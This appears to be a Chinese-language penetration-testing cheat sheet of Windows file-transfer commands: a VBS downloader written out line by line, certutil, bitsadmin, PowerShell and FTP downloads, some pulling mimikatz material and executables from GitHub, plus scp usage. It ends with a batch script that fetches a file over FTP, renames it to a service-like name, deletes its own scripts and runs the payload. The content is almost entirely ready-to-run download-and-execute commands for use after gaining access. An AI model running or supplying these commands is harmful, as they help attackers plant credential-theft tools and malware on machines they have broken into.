Vbs
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","https://raw.githubusercontent.com/shanfenglan/mimikatz/master/mimikatz.sln",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vb
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\2.exe",2 >>download.vbs
vbs脚本执行命令：
wscript download.vbs
certutil
certutil.exe -urlcache -split -f http://ip/test/1.exe c:/1.exe
SCP命令
scp是安全的文件拷贝，基于ssh的登录
假定你想把本地计算机/home下的一个名为a.tar.tz的文件拷贝到远程服务器192.168.0.2上的/home/tmp。而且你在远程服务器 上的帐号名为root。可以用这个命令：
scp /home/a.tar.tz [email protected]:/home/tmp/
如果把文件从远程机器拷贝到本机当前目录用这个命令：
scp [email protected]: /home/a.tar.tz
拷贝远程机器的整个目录下的文件
scp -r [email protected]:/home/* ./
拷贝远程机器的整个目录到本机的指定文件夹内
scp -r [email protected]:/root/123 C:\Users\Admin\Desktop\csdn_increase_vister-master
bitsadmin
bitsadmin /rawreturn /transfer getfile https://raw.githubusercontent.com/shanfenglan/mimikatz/master/mimikatz.sln C:\323.txt
powershell
powershell (Invoke-WebRequest -Uri "https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe" -OutFile "C:\Users\31030\Desktop\tools\test\calc2.exe")
powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe','C:\Users\31030\Desktop\tools\test\calc.exe')
FTP
echo open 192.168.124.136>>1.txt
echo user administrator 1234>>1.txt
echo get 1.exe>>1.txt
echo bye>>1.txt
echo exit>>1.txt
ftp -i -n -s:"1.txt"
BAT通过FTP下载并执行程序
@echo off
echo open %1%>>ftptmp.bat
echo user %2%>>ftptmp.bat
echo %3%>>ftptmp.bat
echo cd %4%>>ftptmp.bat
echo get %5%>>ftptmp.bat
echo bye>>ftptmp.bat
ftp -i -n -s:ftptmp.bat
rename %5% svcmorne.exe
del *.bat
svcmorne.exe
exit
main.bat 192.168.124.136 administrator 1234 c:/ 1.exe